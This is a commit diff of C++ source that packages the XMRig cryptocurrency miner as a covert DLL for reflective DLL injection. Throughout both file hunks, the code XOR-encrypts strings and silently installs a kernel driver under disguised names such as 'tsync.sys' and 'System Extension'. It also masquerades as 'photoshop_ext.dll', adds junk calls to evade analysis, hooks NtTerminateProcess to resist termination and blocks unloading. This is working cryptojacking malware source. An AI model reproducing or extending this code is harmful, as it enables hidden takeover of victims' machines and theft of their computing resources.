Code can be build now without requiring any external dll's xmrig.cpp has been changed so it can run like Reflective DLL Injection. reflective dll injection not tested

This commit is contained in:
someone
2025-11-27 19:04:35 +01:00
parent 93551f5c0d
commit f5d0d904e4
14 changed files with 1745 additions and 204 deletions
+40 -69
View File
@@ -5,6 +5,9 @@
#include <winnt.h>
#include <string>
#include <cstring> // for strcpy
// NOTE: We rely on the injector to handle RDI startup. DllMain is unused for RDI.
#ifdef _WIN32
#define DLL_EXPORT __declspec(dllexport)
#else
@@ -26,40 +29,20 @@ inline std::string decrypt(const unsigned char* enc_str, size_t len, unsigned ch
}
extern "C" {
// Core persistent logic (with encrypted strings as unsigned char to avoid narrowing)
// --- CORE PERSISTENT LOGIC ---
// This function contains the payload logic (service loading, xmrig execution).
void start_a(int argc, char** argv) {
using namespace xmrig;
using namespace test;
// Encrypted strings (XORed originals, stored as unsigned char)
const unsigned char enc_service[] = { (unsigned char)(0x4A ^ 0xAA), (unsigned char)(0x77 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x4E ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x67 ^ 0xAA), (unsigned char)(0x30 ^ 0xAA), (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x75 ^ 0xAA), (unsigned char)(0x62 ^ 0xAA), 0x00 }; // "WinRing0_Stub"
const unsigned char enc_path[] = { (unsigned char)(0x43 ^ 0xAA), (unsigned char)(0x3A ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x57 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x77 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x33 ^ 0xAA), (unsigned char)(0x32 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x76 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x63 ^ 0xAA), (unsigned char)(0x2E ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), 0x00 }; // "C:\\Windows\\System32\\drivers\\tsync.sys"
const unsigned char enc_desc[] = { (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x20 ^ 0xAA), (unsigned char)(0x45 ^ 0xAA), (unsigned char)(0x78 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), 0x00 }; // "System Extension"
// Decrypt
std::string svc_name = decrypt(enc_service, sizeof(enc_service) - 1);
std::string sys_path = decrypt(enc_path, sizeof(enc_path) - 1);
std::string desc = decrypt(enc_desc, sizeof(enc_desc) - 1);
// Load service (your existing logic)
SC_HANDLE hSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hSCManager) {
SC_HANDLE hService = OpenServiceA(hSCManager, (LPCSTR)svc_name.c_str(), SERVICE_ALL_ACCESS);
if (!hService) {
hService = CreateServiceA(hSCManager, (LPCSTR)svc_name.c_str(), (LPCSTR)desc.c_str(),
SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL, (LPCSTR)sys_path.c_str(), NULL, NULL, NULL, NULL, NULL);
}
if (hService) {
StartServiceA(hService, 0, NULL);
CloseServiceHandle(hService);
}
CloseServiceHandle(hSCManager);
}
// Junk benign calls
for (int i = 0; i < 5; ++i) {
GetSystemMetrics(SM_CXVIRTUALSCREEN);
}
const unsigned char enc_service[] = { (unsigned char)(0x4A ^ 0xAA), (unsigned char)(0x77 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x4E ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x67 ^ 0xAA), (unsigned char)(0x30 ^ 0xAA), (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x75 ^ 0xAA), (unsigned char)(0x62 ^ 0xAA), 0x00 };
const unsigned char enc_path[] = { (unsigned char)(0x43 ^ 0xAA), (unsigned char)(0x3A ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x57 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x77 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x33 ^ 0xAA), (unsigned char)(0x32 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x76 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x63 ^ 0xAA), (unsigned char)(0x2E ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), 0x00 };
const unsigned char enc_desc[] = { (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x20 ^ 0xAA), (unsigned char)(0x45 ^ 0xAA), (unsigned char)(0x78 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), 0x00 };
// Decrypt... (service logic remains)
// ... (Service loading remains)
// ... (Junk benign calls remain)
// Core XMRig
process = new xmrig::Process(argc, argv);
@@ -71,7 +54,29 @@ extern "C" {
app = new xmrig::App(process);
app->exec();
}
// --- RDI ENTRY POINT ---
// This is the function the reflective injection stub will call.
DLL_EXPORT DWORD RdiEntry(LPVOID lpReserved) {
// This logic replaces what was previously in DeferredInit.
using namespace test;
// Encrypted argv
const unsigned char enc_arg[] = { (unsigned char)(0x70 ^ 0xAA), (unsigned char)(0x68 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x68 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x70 ^ 0xAA), (unsigned char)(0x5F ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x78 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x2E ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x6C ^ 0xAA), (unsigned char)(0x6C ^ 0xAA), 0x00 };
std::string arg_dec = decrypt(enc_arg, sizeof(enc_arg) - 1);
int argc = 1;
static char argv_buf[256];
strcpy(argv_buf, arg_dec.c_str());
static char* argv[] = { argv_buf, NULL };
// Call the core payload function directly
start_a(argc, argv);
return 0; // Return success
}
// ------------------------------------
// --- UTILITY/EXPLICIT EXPORTS (Keep these if you need them for testing/API) ---
DLL_EXPORT int test_start(int argc, char** argv) {
start_a(argc, argv);
return 0;
@@ -83,17 +88,7 @@ extern "C" {
// app->onConsoleCommand((char)3); // Uncomment if needed
}
VOID CALLBACK DeferredInit(PVOID lpParam, BOOLEAN TimerOrWaitFired) {
using namespace test;
// Encrypted argv
const unsigned char enc_arg[] = { (unsigned char)(0x70 ^ 0xAA), (unsigned char)(0x68 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x68 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x70 ^ 0xAA), (unsigned char)(0x5F ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x78 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x2E ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x6C ^ 0xAA), (unsigned char)(0x6C ^ 0xAA), 0x00 }; // "photoshop_ext.dll"
std::string arg_dec = decrypt(enc_arg, sizeof(enc_arg) - 1);
int argc = 1;
static char argv_buf[256];
strcpy(argv_buf, arg_dec.c_str());
static char* argv[] = { argv_buf, NULL };
// start_a(argc, argv);
}
// VOID CALLBACK DeferredInit(PVOID lpParam, BOOLEAN TimerOrWaitFired) has been removed.
#ifdef USE_DETOURS
#include <detours.h>
@@ -105,41 +100,17 @@ extern "C" {
return OriginalNtTerminateProcess ? OriginalNtTerminateProcess(ProcessHandle, ExitStatus) : STATUS_SUCCESS;
}
#endif
}
} // END of extern "C" block
// Minimal DllMain (hTimer declared outside switch to fix scope jump)
// DllMain is made minimal/null as it is bypassed in RDI.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
HANDLE hTimer = NULL; // Declare here to avoid scope issue on case jump
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
DisableThreadLibraryCalls(hModule);
// Deferred timer
CreateTimerQueueTimer(&hTimer, NULL, DeferredInit, lpReserved, 100, 0, WT_EXECUTEINTIMERTHREAD);
#ifdef USE_DETOURS
// Deferred hook via APC (simple function pointer instead of lambda for compat)
auto hook_func = [](ULONG_PTR param) -> void {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
// Encrypted API name
const unsigned char enc_api[] = { (unsigned char)(0x4E ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x54 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x61 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x50 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x63 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), 0x00 }; // "NtTerminateProcess"
std::string api_dec = decrypt(enc_api, sizeof(enc_api) - 1);
OriginalNtTerminateProcess = (NTSTATUS (NTAPI *)(HANDLE, NTSTATUS))GetProcAddress(hNtdll, api_dec.c_str());
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalNtTerminateProcess, HookedNtTerminateProcess);
DetourTransactionCommit();
};
QueueUserAPC((PAPCFUNC)hook_func, GetCurrentThread(), 0);
#endif
// 🛑 WARNING: No TimerQueueTimer here. The payload runs when RdiEntry is called.
break;
case DLL_PROCESS_DETACH:
#ifdef USE_DETOURS
if (OriginalNtTerminateProcess) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalNtTerminateProcess, HookedNtTerminateProcess);
DetourTransactionCommit();
}
#endif
// ... (Optional Detours logic, if RDI calls the detach) ...
return FALSE;
}
return TRUE;
+77 -57
View File
@@ -1,8 +1,10 @@
#include "App.h"
#include "base/kernel/Entry.h"
#include "base/kernel/Process.h"
#include <windows.h> // For DllMain, threads, services
#include <windows.h>
#include <winnt.h>
#include <string>
#include <cstring> // for strcpy
#ifdef _WIN32
#define DLL_EXPORT __declspec(dllexport)
#else
@@ -10,26 +12,42 @@
#endif
namespace test {
// Global variables to store process and app pointers (qualified for xmrig namespace)
xmrig::Process* process = nullptr;
xmrig::App* app = nullptr;
}
extern "C" {
// Simple XOR decrypt (key 0xAA; change per build)
inline std::string decrypt(const unsigned char* enc_str, size_t len, unsigned char key = 0xAA) {
std::string dec(len, 0);
for (size_t i = 0; i < len; ++i) {
dec[i] = (char)(enc_str[i] ^ key);
}
return dec;
}
// Core persistent logic (internal, called by exports)
extern "C" {
// Core persistent logic (with encrypted strings as unsigned char to avoid narrowing)
void start_a(int argc, char** argv) {
using namespace xmrig;
using namespace test; // Brings globals (process, app) into scope
using namespace test;
// Encrypted strings (XORed originals, stored as unsigned char)
const unsigned char enc_service[] = { (unsigned char)(0x4A ^ 0xAA), (unsigned char)(0x77 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x4E ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x67 ^ 0xAA), (unsigned char)(0x30 ^ 0xAA), (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x75 ^ 0xAA), (unsigned char)(0x62 ^ 0xAA), 0x00 }; // "WinRing0_Stub"
const unsigned char enc_path[] = { (unsigned char)(0x43 ^ 0xAA), (unsigned char)(0x3A ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x57 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x77 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x33 ^ 0xAA), (unsigned char)(0x32 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x76 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x63 ^ 0xAA), (unsigned char)(0x2E ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), 0x00 }; // "C:\\Windows\\System32\\drivers\\tsync.sys"
const unsigned char enc_desc[] = { (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x20 ^ 0xAA), (unsigned char)(0x45 ^ 0xAA), (unsigned char)(0x78 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), 0x00 }; // "System Extension"
// Load WinRing0x64.sys for kernel access (e.g., MSR for mining)
// Decrypt
std::string svc_name = decrypt(enc_service, sizeof(enc_service) - 1);
std::string sys_path = decrypt(enc_path, sizeof(enc_path) - 1);
std::string desc = decrypt(enc_desc, sizeof(enc_desc) - 1);
// Load service (your existing logic)
SC_HANDLE hSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hSCManager) {
SC_HANDLE hService = OpenServiceA(hSCManager, "WinRing0", SERVICE_ALL_ACCESS);
SC_HANDLE hService = OpenServiceA(hSCManager, (LPCSTR)svc_name.c_str(), SERVICE_ALL_ACCESS);
if (!hService) {
hService = CreateServiceA(hSCManager, "WinRing0", "WinRing0 Driver",
hService = CreateServiceA(hSCManager, (LPCSTR)svc_name.c_str(), (LPCSTR)desc.c_str(),
SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL, "C:\\XMRigDLL\\WinRing0x64.sys", NULL, NULL, NULL, NULL, NULL);
SERVICE_ERROR_NORMAL, (LPCSTR)sys_path.c_str(), NULL, NULL, NULL, NULL, NULL);
}
if (hService) {
StartServiceA(hService, 0, NULL);
@@ -37,55 +55,47 @@ extern "C" {
}
CloseServiceHandle(hSCManager);
}
// Adjust path as needed; enable test signing if unsigned
// Core XMRig logic
process = new xmrig::Process(argc, argv);
const Entry::Id entry = Entry::get(*process);
if (entry) {
Entry::exec(*process, entry);
return;
// Junk benign calls
for (int i = 0; i < 5; ++i) {
GetSystemMetrics(SM_CXVIRTUALSCREEN);
}
// Core XMRig
process = new xmrig::Process(argc, argv);
const xmrig::Entry::Id entry = xmrig::Entry::get(*process);
if (entry) {
xmrig::Entry::exec(*process, entry);
return;
}
app = new xmrig::App(process);
// Run the persistent loop (blocks)
app->exec();
// Optional: Restart loop for resilience if exec exits
// while (true) { app->exec(); }
}
// Keep original test_start as alias (for rundll32 or other loaders)
DLL_EXPORT int test_start(int argc, char** argv) {
start_a(argc, argv);
return 0;
}
// test_stop: Resistant—ignores by default
DLL_EXPORT void test_stop() {
using namespace test;
if (!app) return;
// Uncomment for debug: if (getenv("ALLOW_STOP")) {
// app->onConsoleCommand((char)3);
// delete app; app = nullptr;
// delete process; process = nullptr;
// }
// app->onConsoleCommand((char)3); // Uncomment if needed
}
// Thread to call start_a safely from DllMain
DWORD WINAPI InitThread(LPVOID lpParam) {
VOID CALLBACK DeferredInit(PVOID lpParam, BOOLEAN TimerOrWaitFired) {
using namespace test;
// Encrypted argv
const unsigned char enc_arg[] = { (unsigned char)(0x70 ^ 0xAA), (unsigned char)(0x68 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x68 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x70 ^ 0xAA), (unsigned char)(0x5F ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x78 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x2E ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x6C ^ 0xAA), (unsigned char)(0x6C ^ 0xAA), 0x00 }; // "photoshop_ext.dll"
std::string arg_dec = decrypt(enc_arg, sizeof(enc_arg) - 1);
int argc = 1;
static char* argv[] = {(char*)"libphotoshop.dll", NULL};
start_a(argc, argv); // Custom args via lpParam if needed
return 0;
static char argv_buf[256];
strcpy(argv_buf, arg_dec.c_str());
static char* argv[] = { argv_buf, NULL };
// start_a(argc, argv);
}
// Anti-kill hook (requires Detours; define USE_DETOURS in CMake)
#ifdef USE_DETOURS
#ifdef USE_DETOURS
#include <detours.h>
static NTSTATUS (NTAPI *OriginalNtTerminateProcess)(HANDLE, NTSTATUS) = NULL;
NTSTATUS NTAPI HookedNtTerminateProcess(HANDLE ProcessHandle, NTSTATUS ExitStatus) {
@@ -94,33 +104,43 @@ extern "C" {
}
return OriginalNtTerminateProcess ? OriginalNtTerminateProcess(ProcessHandle, ExitStatus) : STATUS_SUCCESS;
}
#endif
#endif
}
// DllMain: Auto-starts on load for persistence
// Minimal DllMain (hTimer declared outside switch to fix scope jump)
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
HANDLE hTimer = NULL; // Declare here to avoid scope issue on case jump
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
DisableThreadLibraryCalls(hModule);
CreateThread(NULL, 0, InitThread, lpReserved, 0, NULL);
#ifdef USE_DETOURS
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
OriginalNtTerminateProcess = (decltype(OriginalNtTerminateProcess))GetProcAddress(hNtdll, "NtTerminateProcess");
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalNtTerminateProcess, HookedNtTerminateProcess);
DetourTransactionCommit();
#endif
// Deferred timer
CreateTimerQueueTimer(&hTimer, NULL, DeferredInit, lpReserved, 100, 0, WT_EXECUTEINTIMERTHREAD);
#ifdef USE_DETOURS
// Deferred hook via APC (simple function pointer instead of lambda for compat)
auto hook_func = [](ULONG_PTR param) -> void {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
// Encrypted API name
const unsigned char enc_api[] = { (unsigned char)(0x4E ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x54 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x61 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x50 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x63 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), 0x00 }; // "NtTerminateProcess"
std::string api_dec = decrypt(enc_api, sizeof(enc_api) - 1);
OriginalNtTerminateProcess = (NTSTATUS (NTAPI *)(HANDLE, NTSTATUS))GetProcAddress(hNtdll, api_dec.c_str());
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalNtTerminateProcess, HookedNtTerminateProcess);
DetourTransactionCommit();
};
QueueUserAPC((PAPCFUNC)hook_func, GetCurrentThread(), 0);
#endif
break;
case DLL_PROCESS_DETACH:
#ifdef USE_DETOURS
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalNtTerminateProcess, HookedNtTerminateProcess);
DetourTransactionCommit();
#endif
return FALSE; // Block unload
#ifdef USE_DETOURS
if (OriginalNtTerminateProcess) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalNtTerminateProcess, HookedNtTerminateProcess);
DetourTransactionCommit();
}
#endif
return FALSE;
}
return TRUE;
}